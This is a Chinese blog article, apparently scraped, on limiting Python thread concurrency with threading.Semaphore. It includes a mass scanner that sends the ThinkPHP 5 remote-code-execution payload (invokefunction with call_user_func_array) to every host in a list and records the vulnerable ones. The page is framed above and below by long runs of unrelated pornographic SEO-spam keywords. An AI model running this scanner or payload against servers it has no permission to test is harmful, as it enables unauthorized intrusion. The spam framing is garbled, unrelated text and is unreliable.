日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

python多線程semaphore實現線程數控制的示例

瀏覽:41日期:2022-07-14 14:23:23

前面寫過一篇關于python多線程的實現的文章, 但是效果不是最佳的,寫法也不是很好。通過網上學習,也了解到了semaphore這個東西。

百度給的解釋:Semaphore是一種在多線程環境下使用的設施,該設施負責協調各個線程,以保證它們能夠正確、合理的使用公共資源的設施,也是操作系統中用于控制進程同步互斥的量。

一個有趣的例子:假設停車場只有三個車位,一開始三個車位都是空的。這時如果同時來了五輛車,看門人允許其中三輛不受阻礙的進入,然后放下車攔,剩下的車則必須在入口等待,此后來的車也都不得不在入口處等待。這時,有一輛車離開停車場,看門人得知后,打開車攔,放入一輛,如果又離開兩輛,則又可以放入兩輛,如此往復。

簡而言之,也就是能夠控制多線程并發的數量。

簡單記錄一下如何通過semaphore實現線程數的控制。

簡單代碼:

#! -*-coding: utf-8-*-import threadingimport timeclass test(threading.Thread): #繼承threading類 def __init__(self, i, sem): super(test, self).__init__() #繼承python的構造方法,這為python2的寫法,python3可直接super().__init__() self.i = i self.sem = sem def run(self): time.sleep(0.1) print('the test i is : ' + str(self.i)) self.sem.release()#釋放線程數,線程數加1if __name__ == ’__main__’: sem = threading.Semaphore(5) #設置可同時執行的最大線程數 for i in range(50): sem.acquire() #獲得線程,可用線程數減1 t = test(i, sem) #給執行函數傳遞值 t.start() #執行函數sem = threading.Semaphore(5) #設置可同時開啟的線程數,這里為5個

每執行一次函數的時候就獲得一個線程數,sem.acquire();每次執行完函數,就會釋放一個線程數,sem.release()。只要acquire()的線程數達到了最大數(這里為5),后面的線程就只能先等待前面獲得的線程執行完函數過后釋放,后面的線程才能繼續執行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個線程的多線程腳本,但是方法不夠好,這次用這個方法改了一下,貼在這里(掃描tp5是否存在代碼執行漏洞的掃描腳本):

# -*- coding:UTF-8 -*-import requestsimport threadingimport timeimport sysclass check(threading.Thread): #判斷是否存在這個漏洞的執行函數 def __init__(self, url, sem): super(check, self).__init__() #繼承threading類的構造方法,python3的寫法super().__init__() self.url = url self.sem = sem def run(self): time.sleep(0.2) parameters = 's=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' try: responce = requests.get(url = self.url, params = parameters) body = responce.text if body.find(’PHP Extension’) != -1: with open('success.txt', 'a+') as f1: f1.write('存在tp5遠程代碼執行漏洞: ' + self.url + 'n') print('[+] ' + self.url) else: print('[-] ' + self.url) except Exception,err: print('connect failed') pass self.sem.release() #執行完函數,釋放線程,線程數加1class host(threading.Thread): #遍歷文件操作 def __init__(self, sem): super(host, self).__init__() #繼承threading類的構造方法,python3的寫法super().__init__() self.sem = sem def run(self): with open(sys.argv[1], 'r') as f: for host in f.readlines(): self.sem.acquire() #遍歷一個就獲得一個線程,直到達到最大 host = 'http://' + host.strip() host_thread = check(host, self.sem) host_thread.start() #執行check()的執行函數if __name__ == ’__main__’: sem = threading.Semaphore(10) #最大線程數為10個 thread = host(sem) #傳遞sem值 thread.start()

到此這篇關于python多線程semaphore實現線程數控制的示例的文章就介紹到這了,更多相關python 線程數控制內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Python 編程
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
国产精品嫩草99av在线| 国产精品av久久久久久麻豆网| 国产亚洲毛片在线| 国产乱码精品一区二区三区四区| 久久久久久亚洲精品美女| 久久精品青草| 日产欧产美韩系列久久99| 日韩大片在线观看| 视频在线在亚洲| 捆绑调教日本一区二区三区| 免费国产自久久久久三四区久久 | 免费观看在线综合色| 国产亚洲高清在线观看| 性欧美69xoxoxoxo| 蜜桃久久久久| 欧美日韩 国产精品| 久久国产中文字幕| 欧美激情 亚洲a∨综合| 在线综合亚洲| 亚洲大片在线| 欧美激情另类| 国产精品美女在线观看直播| 在线亚洲自拍| 欧美福利专区| 香蕉成人av| 欧美三级精品| 精品欧美视频| 国产三级精品三级在线观看国产| 日韩精品一区二区三区av| 欧美手机在线| 91精品观看| 久久中文字幕av| 欧洲av不卡| 亚洲一区资源| 97欧美在线视频| 国产91在线播放精品| 成人高清一区| 成人亚洲一区二区| 精品视频网站| 成人日韩av| 久久久久久久久成人| 国产精品一区二区免费福利视频 | 欧美男人天堂| 成人免费网站www网站高清| аⅴ资源天堂资源库在线| zzzwww在线看片免费| 黄色在线观看www| 国产在线看片免费视频在线观看| 精品入口麻豆88视频| 国产精品成久久久久| 999精品一区| 天堂va蜜桃一区二区三区| 蜜臀国产一区二区三区在线播放 | 91一区二区三区四区| 91一区二区三区四区| 精品三级av| 欧美另类综合| 91亚洲一区| 欧美日韩精品免费观看视欧美高清免费大片| 一本色道久久精品| 一区二区亚洲精品| 免费毛片在线不卡| 日韩影院在线观看| 欧美大黑bbbbbbbbb在线| 毛片在线网站| 快播电影网址老女人久久| 日韩中文字幕高清在线观看| 久久久久久久久丰满| 欧美日韩国产亚洲一区| 播放一区二区| 蜜桃av一区二区| 国产精品sm| 综合日韩av| 欧美成人综合| 国产精品mm| 日韩成人精品一区二区三区 | 久久婷婷丁香| 亚洲色图综合| 日韩不卡手机在线v区| 欧美亚洲综合视频| 久久网站免费观看| 久久狠狠久久| 黑丝一区二区| 国产一区二区三区亚洲| 视频一区视频二区中文| 精品久久在线| 亚洲三级视频| 亚洲成人va| 奇米777国产一区国产二区| 麻豆精品视频在线观看免费| 欧美99久久| 国产一区丝袜| 日韩精品欧美大片| 国产精品88久久久久久| 九九久久国产| 日韩高清不卡一区二区| 九色porny丨国产首页在线| 日韩av电影一区| 狠狠久久婷婷| 日韩精品一二三| a国产在线视频| 免费日韩成人| 欧美亚洲福利| 日本国产一区| 国产尤物精品| 国产精品外国| 三级在线看中文字幕完整版| 国产亚洲字幕| 精品美女视频 | 老鸭窝毛片一区二区三区| 午夜国产欧美理论在线播放 | 久久精品三级| 国产a久久精品一区二区三区| 精品国产乱码久久久久久樱花| 国产精品www994| 麻豆成人91精品二区三区| 精品国产亚洲日本| 国产美女亚洲精品7777| 日韩avvvv在线播放| 亚洲91网站| 国产精品亚洲人成在99www| 日韩精品一卡二卡三卡四卡无卡| 欧美精品高清| 亚洲欧美不卡| 日本免费一区二区视频| 99国产精品免费视频观看| 久久不见久久见中文字幕免费| 日本欧美国产| 欧美午夜三级| 毛片在线网站| 国产人成精品一区二区三| 中文字幕成在线观看| 亚洲精品三级| 免费看久久久| 久久影视三级福利片| 尤物网精品视频| 久久国内精品视频| 久久国产亚洲精品| 麻豆高清免费国产一区| 亚洲精品看片| 久久精品一区二区国产| 日韩午夜黄色| 欧洲在线一区| 亚洲在线网站| 国产综合婷婷| 婷婷国产精品| 91精品麻豆| 99视频+国产日韩欧美| 91综合视频| 福利一区二区| 福利一区二区| 精品91福利视频| 日韩一二三区在线观看| 婷婷精品视频| 欧美国产美女| 精品久久97| 亚洲精品一区二区在线播放∴| 视频一区免费在线观看| 久久久久久久久丰满| 久久久久久久久丰满| 亚洲四虎影院| 欧美亚洲国产一区| 美美哒免费高清在线观看视频一区二区| 亚洲一区不卡| 欧美日韩少妇| 黄色成人91| 午夜宅男久久久| 亚洲三级网站| 国产亚洲电影| 久久超级碰碰| 国产精品**亚洲精品| 中文在线中文资源| 日本午夜精品| 精品日本视频| 日韩黄色大片网站| 欧美aa在线观看| 久久久久免费| 精品国产中文字幕第一页| 亚洲va中文在线播放免费| 精品一区毛片| 日本成人在线一区| 中文字幕在线视频久| 久久国内精品视频| 不卡一二三区| 亚洲v天堂v手机在线| 麻豆一区在线| 夜夜嗨网站十八久久| 国产日韩电影| 亚洲不卡视频| 色黄视频在线观看| 一区二区三区午夜视频| av中文资源在线资源免费观看| 欧美亚洲二区| 亚洲国内精品| 午夜久久av| 热三久草你在线| 日韩精品91亚洲二区在线观看| 欧美亚洲激情| 国产中文欧美日韩在线 | 欧美福利一区|